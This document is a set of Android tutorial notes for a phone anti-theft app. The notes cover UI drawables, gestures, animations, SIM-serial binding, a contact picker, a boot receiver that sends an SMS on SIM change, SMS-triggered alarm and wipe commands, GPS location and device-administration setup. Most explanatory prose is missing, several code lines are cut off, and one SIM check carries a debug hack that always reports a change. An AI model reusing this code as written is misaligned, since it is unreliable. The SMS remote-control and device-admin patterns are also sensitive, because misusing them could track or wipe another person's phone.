								android:centerX="integer"
								android:centerY="integer"
								android:centerColor="integer"
								android:endColor="color"					//
								android:gradientRadius="integer"
								android:startColor="color"							//
								android:type=["linear"	|	"radial"	|	"sweep"]
								android:useLevel=["true"	|	"false"]	/>
				<padding				//
								android:left="integer"
								android:top="integer"
								android:right="integer"
								android:bottom="integer"	/>
				<size
								android:width="integer"
								android:height="integer"	/>
				<solid		// gradient

								android:color="color"	/>
				<stroke			//
								android:width="integer"
								android:color="color"
								android:dashWidth="integer"	//	 android:dashGap

http://developer.android.com/guide/topics/resources/drawable-resource.html#Shape
http://developer.android.com/guide/topics/resources/drawable-resource.html#shape-element
http://developer.android.com/guide/topics/resources/drawable-resource.html#corners-element
http://developer.android.com/guide/topics/resources/drawable-resource.html#gradient-element
http://developer.android.com/guide/topics/resources/drawable-resource.html#padding-element
http://developer.android.com/guide/topics/resources/drawable-resource.html#size-element
http://developer.android.com/guide/topics/resources/drawable-resource.html#solid-element
http://developer.android.com/guide/topics/resources/drawable-resource.html#gradient-element
http://developer.android.com/guide/topics/resources/drawable-resource.html#stroke-element


								android:dashGap="integer"	/>	//
</shape>

a)	\res\drawable\my_shape_selector.xml
<?xml	version="1.0"	encoding="utf-8"?>
<shape	xmlns:android="http://schemas.android.com/apk/res/android"
				android:shape="oval"	>					//android:shape="oval"	

				<corners				//
								android:bottomLeftRadius="10dip"
								android:bottomRightRadius="5dip"
								android:topLeftRadius="10dip"
								android:topRightRadius="5dip"	/>

				<gradient		//
								android:endColor="#0066ff00"		//
								android:startColor="#66ff00"	/>		//

				<padding		//
								android:bottom="50dip"
								android:left="15dip"
								android:right="15dip"
								android:top="50dip"	/>

				<size			//
								android:height="100dip"
								android:width="200dip"	/>

				<stroke		//
											android:color="#ff0000"	//
								android:width="1dip"		//
								android:dashWidth="50dip"	//
								android:dashGap="10dip"		//
									/>
</shape>
b)		activity_main.xml
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								android:id="@+id/textView1"



								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:background="@drawable/my_shape_selector"
								android:gravity="center"
								android:text="@string/hello_world"	/>
				<Button
								android:id="@+id/button1"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:background="@drawable/my_shape_selector"
								android:gravity="center"
								android:text="Button"	/>
</LinearLayout>
c)	



1
1)	ActivityActivityActivity
this.finish();
2)	e1.getRawX()getX()
3)	xe1.getRawX()-e2.getRawX()>100,e1e2
e2.getRawX()-e1.getRawX()>100	
4y| e1.getRawY()-e2.getRawY()|>100
2-

	
a)		 			
private	GestureDetector	gestureDetector;
gestureDetector	=	new	GestureDetector(this,	new	SimpleOnGestureListener(){
												@Override
												public	boolean	onFling(MotionEvent	e1,	MotionEvent	e2,		//
																				float	velocityX,	float	velocityY)	{	///
																
																if	(Math.abs(e1.getRawY()-e2.getRawY())>100)	{	//
																				Toast.makeText(getApplicationContext(),	"" ,	Toast.LENGTH_SHORT).show();



																				return	true;
																}
																
																if	(e1.getRawX()-e2.getRawX()>100)	{	//
																				next(null);
																				return	true;
																}
																if	(e2.getRawX()-e1.getRawX()>100)	{//
																				previous(null);
																				return	true;//true
																}
																
																return	super.onFling(e1,	e2,	velocityX,	velocityY);	//true	if	the	event	is	consumed,	else	false
												}
								});		
b)	ActivityActivity
//	4
				@Override
				public	boolean	onTouchEvent(MotionEvent	event)	{//
								gestureDetector.onTouchEvent(event);//	
								return	super.onTouchEvent(event);
				}		

1public protectedgetDeclaredMethdo()public
@Override
protected	void	next(View	view)	{
				Intent	intent	=	new	Intent(this,	WizardSetupActivity3.class);
				startActivity(intent);
}
@Override
protected	void	previous(View	view)	{
				Intent	intent	=	new	Intent(this,	WizardSetupActivity1.class);
				startActivity(intent);
}

@Override
public	void	next(View	view)	{
				Intent	intent	=	new	Intent(this,	WizardSetupActivity3.class);
				startActivity(intent);
				this.finish();



}
@Override
public	void	previous(View	view)	{
				Intent	intent	=	new	Intent(this,	WizardSetupActivity1.class);
				startActivity(intent);
				this.finish();
}



translate

1anim\res\anim\ 2
a)	tran_next_out.xml	
<?xml	version="1.0"	encoding="utf-8"?>
<!--	1	-->
<translate	xmlns:android="http://schemas.android.com/apk/res/android"
				android:duration="1000"
				android:fromXDelta="0"
				android:fromYDelta="0"
				android:toXDelta="-100%p"
				android:toYDelta="0"	/>
b	tran_next_in.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	2	-->
<translate	xmlns:android="http://schemas.android.com/apk/res/android"
				android:duration="1000"
				android:fromXDelta="100%p"
				android:fromYDelta="0"
				android:toXDelta="0"
				android:toYDelta="0"	/>
c)	tran_pre_out.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	3	-->
<translate	xmlns:android="http://schemas.android.com/apk/res/android"
				android:duration="1000"
				android:fromXDelta="0"
				android:fromYDelta="0"
				android:toXDelta="100%p"
				android:toYDelta="0"	/>
d)	tran_pre_in.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	4	-->
<translate	xmlns:android="http://schemas.android.com/apk/res/android"
				android:duration="1000"
				android:fromXDelta="-100%p"
				android:fromYDelta="0"
				android:toXDelta="0"
				android:toYDelta="0"	/>
3activityoverridePendingTransition(in,out)	activityfinish()	
//Call	immediately	after	one	of	the	flavors	of	startActivity(Intent)	or	finish	to	specify	an	explicit	transition	animation	to	perform	next.
finish



WizardSetupActivity3.java

@Override
public	void	next(View	view)	{
				Intent	intent	=	new	Intent(this,	WizardSetupActivity4.class);
				startActivity(intent);
				this.finish();
				overridePendingTransition(R.anim.tran_next_in,	R.anim.tran_next_out);
}
@Override
public	void	previous(View	view)	{
				Intent	intent	=	new	Intent(this,	WizardSetupActivity2.class);
				startActivity(intent);
				this.finish();
				overridePendingTransition(R.anim.tran_pre_in,	R.anim.tran_pre_out);
}		
4 	android:duration="300"		
5





SIM

1)	Buttonxml	 android:onClick="bindSim"
TextViewImageView(RelativeLayout)
android:clickable="true"
android:onClick="bindSim"
2)	TelephonyManager.getLine1Number()CDMASIMnull
3)	TelephonyManager.getSimSerialNumber() sim sim
4)	TelephonyManager.getLine1Number()
//			-	
//		wap	-	
sim
1isBindSim()
			/**
					*	2SIM
					*	@return	truefalse
					*/
				public	boolean	isBindSim()	{
								String	simSerialNumber	=	spf.getString("simSerialNumber",	"");
								return	!TextUtils.isEmpty(simSerialNumber);
				}		
2SharedPreferences
3()SharedPreferences
/**
					*	1SIM
					*/
				public	void	bindSim(View	view)	{
								if	(isBindSim())	{//	true
												Log.i(TAG,	"sim,simspfsim" );
												Editor	edit	=	spf.edit();
												edit.putString("simSerialNumber",	"");
												edit.commit();
												iv_setup2_status.setImageResource(R.drawable.wizard_unlock);
								}	else	{//	false
												Log.i(TAG,	"simsim" );
												//	tm.getLine1Number();
												//CDMA sim sim	
												String	simSerialNumber	=	tm.getSimSerialNumber();//sim sim
												Editor	edit	=	spf.edit();
												edit.putString("simSerialNumber",	simSerialNumber);
												edit.commit();



												iv_setup2_status.setImageResource(R.drawable.wizard_lock);
								}
				}
4Activity wizard_lock wizard_unlock
if	(isBindSim())	{
												iv_setup2_status.setImageResource(R.drawable.wizard_lock);
								}	else	{
												iv_setup2_status.setImageResource(R.drawable.wizard_unlock);
								}



	



WizardSetupActivity2.java
package	cn.zengfansheng.mobilesafe;
	
import	android.content.Context;
import	android.content.Intent;
import	android.content.SharedPreferences.Editor;
import	android.telephony.TelephonyManager;
import	android.text.TextUtils;
import	android.util.Log;
import	android.view.View;



import	android.widget.ImageView;
	
/**
*	72:WizardSetupActivity2
*	@author	hacket
*/
public	class	WizardSetupActivity2	extends	BaseWizardActivity	{
	
				private	static	final	String	TAG	=	"WizardSetupActivity2";
				private	TelephonyManager	tm;
				private	ImageView	iv_setup2_status;
	
				@Override
				public	void	setView()	{
								this.setContentView(R.layout.activity_wizard_setup2);
								tm	=	(TelephonyManager)
this.getSystemService(Context.TELEPHONY_SERVICE);
								iv_setup2_status	=	(ImageView)	this.findViewById(R.id.iv_setup2_status);
								if	(isBindSim())	{
												iv_setup2_status.setImageResource(R.drawable.wizard_lock);
								}	else	{
												iv_setup2_status.setImageResource(R.drawable.wizard_unlock);
								}
				}
	
				/**
					*	2SIM
					*	@return	truefalse
					*/
				public	boolean	isBindSim()	{
								String	simSerialNumber	=	spf.getString("simSerialNumber",	"");
								return	!TextUtils.isEmpty(simSerialNumber);
				}
	
				/**
					*	1SIM
					*/
				public	void	bindSim(View	view)	{
								if	(isBindSim())	{//	true
												Log.i(TAG,	"sim,simspfsim" );
												Editor	edit	=	spf.edit();
												edit.putString("simSerialNumber",	"");



												edit.commit();
												iv_setup2_status.setImageResource(R.drawable.wizard_unlock);
								}	else	{//	false
												Log.i(TAG,	"simsim" );
												//	tm.getLine1Number();//CDMAsimsim	
												//		
												//		wap
												String	simSerialNumber	=	tm.getSimSerialNumber();//simsim
												Editor	edit	=	spf.edit();
												edit.putString("simSerialNumber",	simSerialNumber);
												edit.commit();
												iv_setup2_status.setImageResource(R.drawable.wizard_lock);
								}
				}
	
				@Override
				public	void	next(View	view)	{
								Intent	intent	=	new	Intent(this,	WizardSetupActivity3.class);
								startActivity(intent);
								this.finish();
								overridePendingTransition(R.anim.tran_next_in,	R.anim.tran_next_out);
				}
	
				@Override
				public	void	previous(View	view)	{
								Intent	intent	=	new	Intent(this,	WizardSetupActivity1.class);
								startActivity(intent);
								this.finish();
								overridePendingTransition(R.anim.tran_pre_in,	R.anim.tran_pre_out);
				}
	
}

<uses-permission	android:name="android.permission.READ_PHONE_STATE"/>





android:layout_toLeftOf="@id/safe_textview"			Top

android:layout_alignLeft="@id/safe_textview"	top

											

1Activity
WizardSetupActivity3.java	
				/**
					*	1
					*	@param	view
					*/
				public	void	selectContact(View	view)	{
								Intent	intent	=	new	Intent(this,	ListContactsActivity.class);
								startActivityForResult(intent,	0);



				}	

@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								super.onActivityResult(requestCode,	resultCode,	data);
								//	
								if	(data	!=	null)	{
												Bundle	extras	=	data.getExtras();
												String	phone	=	extras.getString("safenum");
												et_setup3_phone.setText(phone);
								}
				}			
2EditText
a	)	ListContactsActivity.java
/**
	*	10ListContactsActivity
	*	
	*	@author	hacket
	*	
	*/
public	class	ListContactsActivity	extends	Activity	{
				private	ListView	lv_activity_contacts;
				private	List<ContactInfo>	allContacts;//	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main_contacts);
								lv_activity_contacts	=	(ListView)	this.findViewById(R.id.lv_activity_contacts);
								//	
								allContacts	=	ContactInfoProvider.getAllContacts(ListContactsActivity.this);
								lv_activity_contacts.setAdapter(new	MyAdapter());
								
								//	ListViewitem
								lv_activity_contacts.setOnItemClickListener(new	OnItemClickListener()	{
												@Override
												public	void	onItemClick(AdapterView<?>	parent,	View	view,
																				int	position,	long	id)	{
																ContactInfo	contactInfo	=	allContacts.get(position);//	item
																String	safenum	=	contactInfo.getPhone();//	
																//	
																Intent	data	=	new	Intent();
																Bundle	extras	=	new	Bundle();



																extras.putString("safenum",	safenum);
																data.putExtras(extras);
																setResult(0,	data);//	Activity
																ListContactsActivity.this.finish();//	Activity
												}
								});
				}
				/**
					*	1ListViewAdapter
					*	@author	hacket
					*/
				private	class	MyAdapter	extends	BaseAdapter	{
								@Override
								public	int	getCount()	{
												if	(allContacts	!=	null	&&	allContacts.size()	>	0)	{
																return	allContacts.size();
												}
												return	0;
								}
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
												
												View	view	=	View.inflate(ListContactsActivity.this,	R.layout.activity_list_contacts
												
												TextView	tv_name	=	(TextView)	view.findViewById(R.id.tv_contacts_name);
												TextView	tv_phone	=	(TextView)	view.findViewById(R.id.tv_contacts_phone);
												TextView	tv_email	=	(TextView)	view.findViewById(R.id.tv_contacts_email);
												ContactInfo	contactInfo	=	allContacts.get(position);
												tv_name.setText(contactInfo.getName());
												tv_phone.setText(contactInfo.getPhone());
												tv_email.setText(contactInfo.getEmail());
												return	view;
								}
								@Override
								public	Object	getItem(int	position)	{
												return	null;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	0;
								}
				}



}		
b	ContactInfoProvider.java
package	cn.zengfansheng.mobilesafe.engine;

	

import	java.util.ArrayList;

import	java.util.List;

	

import	android.content.ContentResolver;

import	android.content.Context;

import	android.database.Cursor;

import	android.net.Uri;

import	cn.zengfansheng.mobilesafe.domain.ContactInfo;

	

/**

*	2

*	@author	hacket

*/

public	class	ContactInfoProvider	{

	

				/**

					*	1

					*

					*	@param	context	

					*	@return	List<ContactInfo>

					*/

				public	static	List<ContactInfo>	getAllContacts(Context	context)	{

	

								List<ContactInfo>	contactInfos	=	new	ArrayList<ContactInfo>();

	

								//	1

								ContentResolver	contentResolver	=	context.getContentResolver();

	

								//	2URI

								Uri	contactUri	=	Uri.parse("content://com.android.contacts/raw_contacts"

								Uri	dataUri	=	Uri.parse("content://com.android.contacts/data");

	

								//	3raw_contactsid(contact_id)

								Cursor	contactCursor	=	contentResolver.query(contactUri,	new	String[]

{"contact_id"},	null,null,	null);

								while	(contactCursor.moveToNext())	{

	

												String	contactId	=	contactCursor.getString(0);//	id

												ContactInfo	contactInfo	=	new	ContactInfo();

												if	(contactId	!=	null)	{//	

	

																//	4id-contactIddata--FIXME	cursor	leak

																Cursor	dataCursor	=	contentResolver.query(dataUri,	null,

"raw_contact_id=?",

																								new	String[]	{	contactId	},	null);

	

																while	(dataCursor.moveToNext())	{

	

																				String	data1	=

dataCursor.getString(dataCursor.getColumnIndex("data1"));



																				String	mimetype	=

dataCursor.getString(dataCursor.getColumnIndex("mimetype"));

																				//	mimetypemimetype_id

	

																				if	("vnd.android.cursor.item/email_v2".equals(mimetype))	{

																								contactInfo.setEmail(data1);

																				}	else	if	("vnd.android.cursor.item/name".equals(mimetype))	{

																								contactInfo.setName(data1);

																				}	else	if	("vnd.android.cursor.item/phone_v2".equals(mimetype))

{

																								contactInfo.setPhone(data1);

																				}

																}

												}

												contactInfos.add(contactInfo);

								}

								return	contactInfos;

				}

}

3SharedPreferences
				@Override
				public	void	next(View	view)	{
								Editor	edit	=	spf.edit();//	phone
								edit.putString("safenum",	et_setup3_phone.getText().toString());
								edit.commit();
								Intent	intent	=	new	Intent(this,	WizardSetupActivity4.class);
								startActivity(intent);
								this.finish();
								overridePendingTransition(R.anim.tran_next_in,	R.anim.tran_next_out);
				}



	



	



#*alarm*#

1
a)		android:name="android.intent.action.BOOT_COMPLETED"
< uses-
permission	android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>	
b)		android:name="android.provider.Telephony.SMS_RECEIVED"
< uses-permission	android:name="android.permission.RECEIVE_SMS"/>
2
< uses-permission	android:name="android.permission.SEND_SMS"/>

simsim
BootCompleteReceiver		

RECEIVE_BOOT_COMPLETED(android4.1bug)
155545556
2androidsimsimsim
a)	BroadcastReceiver
public	class	BootCompleteReceiver	extends	BroadcastReceiver		
b)	
<receiver	android:name="cn.zengfansheng.mobilesafe.receiver.BootCompleteReceiver">
				<intent-filter	android:priority="1000">
								<action		android:name="android.intent.action.BOOT_COMPLETED"/>
				</intent-filter>
</receiver>		
c)	
<uses-
permission	android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>		
3
a)	BootCompleteReceiver	
package	cn.zengfansheng.mobilesafe.receiver;

	

import	android.content.BroadcastReceiver;

import	android.content.Context;

import	android.content.Intent;

import	android.content.SharedPreferences;

import	android.telephony.SmsManager;

import	android.telephony.TelephonyManager;

import	android.util.Log;

	

/**

*	2-simsim

*

*	@author	hacket

*

*/



public	class	BootCompleteReceiver	extends	BroadcastReceiver	{

	

				private	static	final	String	TAG	=	"BootCompleteReceiver";

	

				@Override

				public	void	onReceive(Context	context,	Intent	intent)	{

	

								Log.i(TAG,	"" );

	

								SharedPreferences	spf	=	context.getSharedPreferences("config",

																Context.MODE_PRIVATE);

	

								//	0

								boolean	isProtecting	=	spf.getBoolean("isProtecting",	false);

	

								if	(isProtecting)	{//	

												//	1sim

												String	saveSimSerialNumber	=	spf.getString("simSerialNumber",

"");

												Log.i(TAG,	":" 	+	saveSimSerialNumber);

	

												//	2sim

												TelephonyManager	tm	=	(TelephonyManager)										

																		context.getSystemService(Context.TELEPHONY_SERVICE);

												String	realNum	=	tm.getSimSerialNumber()	+	"11";

	

												//	3

												if	(!saveSimSerialNumber.equals(realNum))	{//	saveSafenumnull

null

	

																String	saveSafenum	=	spf.getString("safenum",	"");//	

																Log.i(TAG,	"sim:" 	+	saveSafenum);

																//	4

																SmsManager	smsManager	=	SmsManager.getDefault();

																smsManager.sendTextMessage(saveSafenum,	null,	"sim	is

changed",	null,	null);

												}

								}

				}

}

SmsReceiver
a	
<receiver	android:name="cn.zengfansheng.mobilesafe.receiver.SmsReceiver"	>
				<intent-filter	android:priority="1000"	>
								<action	android:name="android.provider.Telephony.SMS_RECEIVED"	/>
				</intent-filter>
</receiver>
------------------------------------------
b)	SmsReceiver.java
package	cn.zengfansheng.mobilesafe.receiver;

	

import	android.content.BroadcastReceiver;



import	android.content.Context;

import	android.content.Intent;

import	android.media.MediaPlayer;

import	android.telephony.SmsMessage;

import	android.util.Log;

import	cn.zengfansheng.mobilesafe.R;

	

/**

*	3

*	@author	hacket

*/

public	class	SmsReceiver	extends	BroadcastReceiver	{

	

				private	static	final	String	TAG	=	"SmsReceiver";

	

				@Override

				public	void	onReceive(Context	context,	Intent	intent)	{

								//	

								Object[]	objects	=	(Object[])	intent.getExtras().get("pdus");

								for	(Object	obj	:	objects)	{

												SmsMessage	message	=	SmsMessage.createFromPdu((byte[])	obj);

												//	String	messageSender	=	message.getOriginatingAddress();

												String	messageBody	=	message.getMessageBody();

												if	("#*location*#".equals(messageBody))	{

																Log.i(TAG,	"..." );

												}	else	if	("#*alarm*#".equals(messageBody))	{

																Log.i(TAG,	"" );

																//api

																MediaPlayer	mediaPlayer	=	MediaPlayer.create(context,

R.raw.ylzs);

																mediaPlayer.setLooping(true);//	

																mediaPlayer.setVolume(1.0f,	1.0f);

																mediaPlayer.start();

																abortBroadcast();//	

	

												}	else	if	("#*wipedata*#".equals(messageBody))	{

																Log.i(TAG,	"" );

												}	else	if	("#*lockscreen*#".equals(messageBody))	{

																Log.i(TAG,	"" );

												}

								}

				}

	}

<uses-permission	android:name="android.permission.SEND_SMS"/>
<uses-permission	android:name="android.permission.RECEIVE_SMS"/>



	

5554
a)		 BootCompleteReceiversimidsimid
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GPS

1
				a)	
				b)	
2ip
				ip
					google(google	latitude)
3GPS-3()
				

a)	
	<uses-
permission	android:name="android.permission.ACCESS_COARSE_LOCATION"/>		
b)	
<uses-permission	android:name="android.permission.ACCESS_FINE_LOCATION"/>		
c)	
<uses-permission	android:name="android.permission.ACCESS_MOCK_LOCATION"/>



	
d)	
<uses-permission	android:name="android.permission.INTERNET"/>
1	
//	1
								lm	=	(LocationManager)	this.getSystemService(Context.LOCATION_SERVICE);
								List<String>	allProviders	=	lm.getAllProviders();
								for	(String	provider	:	allProviders)	{
												System.out.println("" 	+	provider);
								}	
a)	

	
b)	1S

2GPS
package	cn.zengfansheng.phonelocation;

import	android.annotation.SuppressLint;

import	android.app.Activity;

import	android.content.Context;

import	android.location.Criteria;

import	android.location.Location;

import	android.location.LocationListener;

import	android.location.LocationManager;

import	android.os.Bundle;

import	android.util.Log;

import	android.widget.TextView;

public	class	MainActivity	extends	Activity	{

				private	LocationManager	lm;

				private	MyLocationListener	listener;

				private	TextView	tv_phone_location;



				@SuppressLint("NewApi")

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

								tv_phone_location	=	(TextView)

this.findViewById(R.id.tv_phone_location);

								//	1

								lm	=	(LocationManager)

this.getSystemService(Context.LOCATION_SERVICE);

								/*List<String>	allProviders	=	lm.getAllProviders();

										for	(String	provider	:	allProviders)	{

												System.out.println(""	+	provider);

								}*/

								//	2

								Criteria	criteria	=	new	Criteria();//	Map,criteria	

								criteria.setAccuracy(Criteria.ACCURACY_FINE);//	1

								criteria.setAltitudeRequired(true);//	2GPS

								//	criteria.setBearingAccuracy(Criteria.ACCURACY_COARSE);//

								//	criteria.setBearingAccuracy(Criteria.ACCURACY_FINE);//	API9,

								criteria.setCostAllowed(true);//	3

								criteria.setPowerRequirement(Criteria.POWER_HIGH);//	4

								//	criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);//	

								String	bestProvider	=	lm.getBestProvider(criteria,	true);

								listener	=	new	MyLocationListener();

								lm.requestLocationUpdates(bestProvider,	0,	0,	listener);//	0,0

								//	lm.requestLocationUpdates(provider,	minTime,	minDistance,

listener)

								//	()

				}

				/**

					*	

					*	

					*	@author	hacket

					*/

				private	class	MyLocationListener	implements	LocationListener	{

								private	static	final	String	TAG	=	"MainActivity";

								//	3

								@Override

								public	void	onLocationChanged(Location	location)	{

												String	locationString	=	"" 	+	location.getProvider()	+	"\n"

																				+	location.getLongitude()	+	"\n"

																				+	location.getLatitude()	+	"\n"

																				+	location.getAccuracy()	+	"\n" 	+



location.getAltitude()

																				+	"\n" 	+	location.getSpeed();

												tv_phone_location.setText(locationString);

												Log.i(TAG,	locationString);

								}

								//	12

								@Override

								public	void	onStatusChanged(String	provider,	int	status,	Bundle

extras)	{

								}

								//	2

								@Override

								public	void	onProviderEnabled(String	provider)	{

								}

								//	1

								@Override

								public	void	onProviderDisabled(String	provider)	{

								}

				}

				@Override

				protected	void	onDestroy()	{

								super.onDestroy();

								//	activity

								lm.removeUpdates(listener);

								lm	=	null;

				}

}

wiz:open_attachment?guid=70123289-95e5-4181-bafa-5e291a385460
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1Demo.java
package	cn.zengfansheng.mark;
/**
	*	
	*	@author	hacket
	*
	*/
public	class	Demo	{
				public	static	void	main(String[]	args)	throws	Exception	{
								ModifyOffset	modifyOffset	=	ModifyOffset.getInstance(Demo.class
																.getClassLoader().getResourceAsStream("axisoffset.dat"));
								//	111.599,26.21	
								double	longtitude	=	111.59928293;	//	
								double	latitude	=	26.2100881;//	
								PointDouble	pt	=	new	PointDouble(longtitude,	latitude);
								//	
								PointDouble	realPoint	=	modifyOffset.s2c(pt);//
								System.out.println(realPoint);
								//	x=111.60451544453608,	y=26.206613768669037
				}
}
2 ModifyOffset.java

package	cn.zengfansheng.mark;

	

import	java.io.InputStream;

import	java.io.ObjectInputStream;

	

/**

*	.

*

*/

public	class	ModifyOffset	{

				private	static	ModifyOffset	modifyOffset;

				static	double[]	X	=	new	double[660	*	450];

				static	double[]	Y	=	new	double[660	*	450];

	

	

wiz:open_attachment?guid=453f924f-0e79-4c9f-82b3-c2a53f2c9c5a
wiz:open_attachment?guid=33e39b70-73f4-4e49-8873-64c231060899


				private	ModifyOffset(InputStream	inputStream)	throws	Exception	{

								init(inputStream);

				}

	

				public	synchronized	static	ModifyOffset	getInstance(InputStream	is)

throws	Exception	{

								if	(modifyOffset	==	null)	{

												modifyOffset	=	new	ModifyOffset(is);

								}

								return	modifyOffset;

				}

	

				public	void	init(InputStream	inputStream)	throws	Exception	{

								ObjectInputStream	in	=	new	ObjectInputStream(inputStream);

								try	{

												int	i	=	0;

												while	(in.available()	>	0)	{

																if	((i	&	1)	==	1)	{

																				Y[(i	-	1)	>>	1]	=	in.readInt()	/	100000.0d;

																				;

																}	else	{

																				X[i	>>	1]	=	in.readInt()	/	100000.0d;

																				;

																}

																i++;

												}

								}	finally	{

												if	(in	!=	null)

																in.close();

								}

				}

	

				//	standard	->	china

				/**

					*	→

					*	@param	pt		PointDouble

					*	@return

					*/

				public	PointDouble	s2c(PointDouble	pt)	{

								int	cnt	=	10;

								double	x	=	pt.x,	y	=	pt.y;

								while	(cnt--	>	0)	{

												if	(x	<	71.9989d	||	x	>	137.8998d	||	y	<	9.9997d	||	y	>

54.8996d)

																return	pt;

												int	ix	=	(int)	(10.0d	*	(x	-	72.0d));

												int	iy	=	(int)	(10.0d	*	(y	-	10.0d));

												double	dx	=	(x	-	72.0d	-	0.1d	*	ix)	*	10.0d;

												double	dy	=	(y	-	10.0d	-	0.1d	*	iy)	*	10.0d;

												x	=	(x	+	pt.x	+	(1.0d	-	dx)	*	(1.0d	-	dy)	*	X[ix	+	660	*	iy]	+

dx

																				*	(1.0d	-	dy)	*	X[ix	+	660	*	iy	+	1]	+	dx	*	dy

																				*	X[ix	+	660	*	iy	+	661]	+	(1.0d	-	dx)	*	dy



																				*	X[ix	+	660	*	iy	+	660]	-	x)	/	2.0d;

												y	=	(y	+	pt.y	+	(1.0d	-	dx)	*	(1.0d	-	dy)	*	Y[ix	+	660	*	iy]	+

dx

																				*	(1.0d	-	dy)	*	Y[ix	+	660	*	iy	+	1]	+	dx	*	dy

																				*	Y[ix	+	660	*	iy	+	661]	+	(1.0d	-	dx)	*	dy

																				*	Y[ix	+	660	*	iy	+	660]	-	y)	/	2.0d;

								}

								return	new	PointDouble(x,	y);

				}

	

				//	china	->	standard

				/**

					*	→

					*	@param	pt

					*	@return

					*/

				public	PointDouble	c2s(PointDouble	pt)	{

								int	cnt	=	10;

								double	x	=	pt.x,	y	=	pt.y;

								while	(cnt--	>	0)	{

												if	(x	<	71.9989d	||	x	>	137.8998d	||	y	<	9.9997d	||	y	>

54.8996d)

																return	pt;

												int	ix	=	(int)	(10.0d	*	(x	-	72.0d));

												int	iy	=	(int)	(10.0d	*	(y	-	10.0d));

												double	dx	=	(x	-	72.0d	-	0.1d	*	ix)	*	10.0d;

												double	dy	=	(y	-	10.0d	-	0.1d	*	iy)	*	10.0d;

												x	=	(x	+	pt.x	-	(1.0d	-	dx)	*	(1.0d	-	dy)	*	X[ix	+	660	*	iy]	-

dx

																				*	(1.0d	-	dy)	*	X[ix	+	660	*	iy	+	1]	-	dx	*	dy

																				*	X[ix	+	660	*	iy	+	661]	-	(1.0d	-	dx)	*	dy

																				*	X[ix	+	660	*	iy	+	660]	+	x)	/	2.0d;

												y	=	(y	+	pt.y	-	(1.0d	-	dx)	*	(1.0d	-	dy)	*	Y[ix	+	660	*	iy]	-

dx

																				*	(1.0d	-	dy)	*	Y[ix	+	660	*	iy	+	1]	-	dx	*	dy

																				*	Y[ix	+	660	*	iy	+	661]	-	(1.0d	-	dx)	*	dy

																				*	Y[ix	+	660	*	iy	+	660]	+	y)	/	2.0d;

								}

								return	new	PointDouble(x,	y);

				}

	

}

	

class	PointDouble	{

				double	x,	y;

	

				PointDouble(double	x,	double	y)	{

								this.x	=	x;

								this.y	=	y;

				}

	

				public	String	toString()	{

								return	"x="	+	x	+	",	y="	+	y;



				}

}
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Administration

Activity

	
Intent	intent	=	new	Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
ComponentName	who	=	new	ComponentName(context,	AdminDeviceReceiver.class);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,who);
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,context.getResources().getString(R.string.
//	intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//	
context.startActivity(intent);
Administration	API
1APIs	Demo



2	Developing	a	Device	Administration	Application
http://developer.android.com/guide/topics/admin/device-admin.html	
android:resource="@xml/device_admin_sample"	declares	the	security	policies	used	in	metadata

1 MyAdmin	DeviceAdminReceiver		
public	class	MyAdmin	extends	DeviceAdminReceiver			
2		DeviceAdminReceiver 	BroadcastReceiver.onReceive()		
public	class	DeviceAdminReceiver	extends	BroadcastReceiver		
3
<receiver
												android:name="cn.zengfansheng.administration.MyAdmin"
												android:description="@string/sample_device_admin_description"
												android:label="@string/sample_device_admin"
												android:permission="android.permission.BIND_DEVICE_ADMIN"	>
												<meta-data
																android:name="android.app.device_admin"
																android:resource="@xml/device_admin_sample"	/>
												<intent-filter>
																<action	android:name="android.app.action.DEVICE_ADMIN_ENABLED"	/>
												</intent-filter>
								</receiver>

http://developer.android.com/guide/topics/admin/device-admin.html


4 android:permissionxml \res\xml\device_admin_sample.xml
<?xml	version="1.0"	encoding="UTF-8"?>
<device-admin	xmlns:android="http://schemas.android.com/apk/res/android"	>
				<uses-policies>
								<limit-password	/>
								<watch-login	/>
								<reset-password	/>
								<force-lock	/>
								<wipe-data	/>
								<expire-password	/>
								<encrypted-storage	/>
								<disable-camera	/>
				</uses-policies>
</device-admin>
5→→→√

	
()



	

6



1
2——
public	void	activeAdmin(View	view)	{
				Intent	intent	=	new	Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
				ComponentName	who	=	new	ComponentName(this,	MyAdmin.class);
				intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,	who);//
				intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,"" );
				//
				startActivity(intent);
}		



	
3→→

	

	



<activity	android:name=".UninstallerActivity"

																android:configChanges="orientation|keyboardHidden|screenSize"

																android:excludeFromRecents="true"

																android:theme="@android:style/Theme.DeviceDefault.Dialog.NoActionBar"

												<intent-filter>

																<action	android:name="android.intent.action.DELETE"	/>

																<action	android:name="android.intent.action.UNINSTALL_PACKAGE"

																<category	android:name="android.intent.category.DEFAULT"	/>

																<data	android:scheme="package"	/>

												</intent-filter>

</activity>

4PackageInstaller_
/**
	*	3
	*	
	*	@param	view
	*/
@SuppressLint("InlinedApi")
public	void	uninstall(View	view)	{
				//	1
				DevicePolicyManager	manager	=	(DevicePolicyManager)	this
												.getSystemService(Context.DEVICE_POLICY_SERVICE);
				ComponentName	who	=	new	ComponentName(this,	MyAdmin.class);
				manager.removeActiveAdmin(who);
				Log.i(TAG,	"" );
				//	2PackageInstaller
				/*
